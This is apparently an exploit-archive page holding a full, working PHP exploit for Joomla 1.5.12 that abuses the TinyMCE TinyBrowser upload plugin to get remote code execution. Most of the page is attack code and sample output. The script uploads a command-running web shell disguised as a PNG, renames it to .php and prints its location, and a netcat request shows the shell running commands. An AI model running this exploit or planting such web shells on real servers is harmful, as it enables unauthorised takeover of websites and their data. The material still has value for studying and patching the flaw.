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Joomla 1.5.12 Code Execution Via TinyMCE

🗓️ 03 Nov 2009 00:00:00Reported by Luca De FulgentisType 
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Joomla 1.5.12 Code Execution via TinyMCE upload vulnerability tested on multiple platforms. Steps involve directory creation, image upload, and renaming to execute PHP shell code

Code
`<?php  
  
/**  
** Joomla 1.5.12 Remote Code Execution via TinyMCE upload vulnerability  
**  
** Tested against :  
** - Joomla 1.5.12 / Ubuntu 8.10 / Apache 2.2.9  
** - Joomla 1.5.12 / Windows XP SP2 / Apache 2.2.12  
**  
** Luca "daath" De Fulgentis - daath [at] nibblesec.org  
** http://blog.nibblesec.org  
**  
**/  
  
/*  
daath@shaytan:~$ php pwnoomla.php localhost /joomla  
  
[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]  
  
[#] Attacking localhost:80/joomla/  
[+] Web root pathname is : /var/www/  
[+] Magic token is a8de65e217ed779dbda80eb04502a2da  
[#] Creating remote directory ... DONE  
[#] Uploading image ... DONE  
[#] Renaming image's extension (takes a while) ... PWNED!  
[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php  
  
daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0\n\n" | nc localhost 80  
HTTP/1.1 200 OK  
Date: Mon, 28 Sep 2009 10:39:43 GMT  
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch  
X-Powered-By: PHP/5.2.6-2ubuntu4.3  
Vary: Accept-Encoding  
Connection: close  
Content-Type: text/html  
  
-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php  
daath@shaytan:~$   
*/  
  
  
$host = "localhost";  
$port = "80";  
$install_path = "/";  
  
$path = "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser";  
$dir = "/tinybrowser.php?type=image&folder=";  
$upload = "/upload_file.php";  
$rename = "/edit.php?type=file&folder=";  
  
/*  
* PHP shell  
*/  
$php_shell = "<?php if(isset(\$_GET[\"cmd\"])) system(\$_GET[\"cmd\"]); ?>";  
  
echo "\n [-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]\n\n";  
  
if($argc < 2) {  
echo " Usage: php {$argv[0]} host joomla_install_path\n";  
echo " Example : php {$argv[0]} localhost /joomla/ \n\n";  
exit(1);  
}  
  
$host = $argv[1];  
  
if($argc == 3) {  
$install_path = $argv[2][0] == "/" ? $argv[2] : "/".$argv[2];  
$install_path = $argv[2][strlen($install_path)-1] == "/" ? $install_path : $install_path."/";  
}  
  
echo " [#] Attacking {$host}:{$port}{$install_path}\n";  
  
$resp = HTTPRequest("GET {$install_path}/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/tinybrowser.php HTTP/1.0\r\n\r\n");  
if(strstr($resp, "Restricted access")) {  
die(" [-] Joomla is NOT vulnerable, exiting.\n\n");  
}  
  
$webroot = get_webroot_pathname();  
if($webroot == "") {  
die(" [-] Web root pathname NOT FOUND, exiting.\n\n");  
}  
  
echo " [+] Web root pathname is : {$webroot}\n";  
  
$seed = md5($webroot . "s0merand0mjunk!!!111");  
echo " [+] Magic token is {$seed}\n";  
  
$my_dir = "i" . rand();  
echo " [#] Creating remote directory ... ";  
$resp = HTTPRequest("GET {$install_path}{$path}{$dir}/{$my_dir} HTTP/1.0\r\n\r\n");  
  
if(!strstr($resp, "directory has been successfully created")) {  
die("FAILED\n [-] Error - creating directory, exiting.\n\n");  
}  
echo "DONE\n";  
  
$my_shell = md5(time());  
echo " [#] Uploading image ... ";  
  
$data = "--1234567\r\n";  
$data .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"{$my_shell}.png\"\r\n\r\n";  
$data .= "{$php_shell}\r\n";  
$data .= "--1234567--\r\n";  
  
$req = "POST {$install_path}{$path}{$upload}" . "?obfuscate={$seed}&type=file&folder={$install_path}images/stories/{$my_dir} HTTP/1.1\r\n";  
$req .= "Host: {$host}\r\n";  
$req .= "Content-Length: ".strlen($data)."\r\n";  
$req .= "Content-Type: multipart/form-data; boundary=1234567\r\n";  
$req .= "Connection: close\r\n\r\n";  
$req .= $data;   
  
$resp = HTTPRequest($req);  
  
if (!strstr($resp,"File Upload Success")) {  
die("FAILED\n [-] Error - image uploading, exiting.\n\n");  
}  
echo "DONE\n";  
  
echo " [#] Renaming image's extension (takes a while) ... ";  
  
$data = "actionfile%5B0%5D={$my_shell}.png_&renameext%5B0%5D=php&renamefile%5B0%5D=shell.&sortby=name";  
$data .= "&sorttype=asc&find=&showpage=0&action=rename&commit=\r\n\r\n";  
  
$req = "POST {$install_path}{$path}/edit.php?type=image&folder={$my_dir}%2F HTTP/1.1\n";  
$req .= "Host: {$host}\r\n";  
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$req .= "Content-Length: " . strlen($data) . "\r\n\r\n";  
$req .= $data;  
  
$resp = HTTPRequest($req);  
  
if(!strstr($resp, "1 files have been successfully renamed")) {  
die("FAILED\n [-] Error - image's extension renaming, exiting.\n");  
}  
echo "PWNED!\n";  
  
echo " [+] Here is the php shell : {$install_path}images/stories/{$my_dir}/shell.php\n\n";  
exit;  
  
function get_webroot_pathname() {  
  
global $install_path;  
  
$resp = HTTPRequest("GET {$install_path}/libraries/joomla/utilities/compat/php50x.php HTTP/1.\r\n\r\n");  
  
$pos1 = strpos($resp, "in <b>");  
$pos2 = strpos($resp, "libraries");  
  
if($pos1 === false || $pos2 === false)  
return "";  
  
$init = $pos1 +strlen("in <b>");  
  
$str = substr($resp, $init, $pos2-$init);  
  
if($install_path != "/") {  
  
$install_path2 = str_replace("/", "", $install_path);  
  
$pos1 = strrpos($str, $install_path2);  
  
if($pos1 === false)  
return "";  
  
$str = substr($str, 0, $pos1-1);  
}  
  
if($str[strlen($str)-1] == "\\")  
$str = substr($str, 0, $pos-1);  
  
if(strstr($str, "/") && $str[strlen($str)-1] != "/")  
$str = $str . "/";  
  
$pathname = str_replace("\\", "/", $str);  
return $pathname;  
}  
  
function HTTPRequest($req) {  
  
global $host, $port;  
  
$s = @fsockopen($host, $port, $errno, $errstr, 10);  
if(!$s) {  
die("\n [-] Error in connection, exiting.\n\n");  
}  
  
fputs($s, $req);  
$resp = "";  
while(!feof($s)) {  
$resp .= fgets($s);  
}  
fclose($s);  
  
return $resp;  
}  
?>  
  
`

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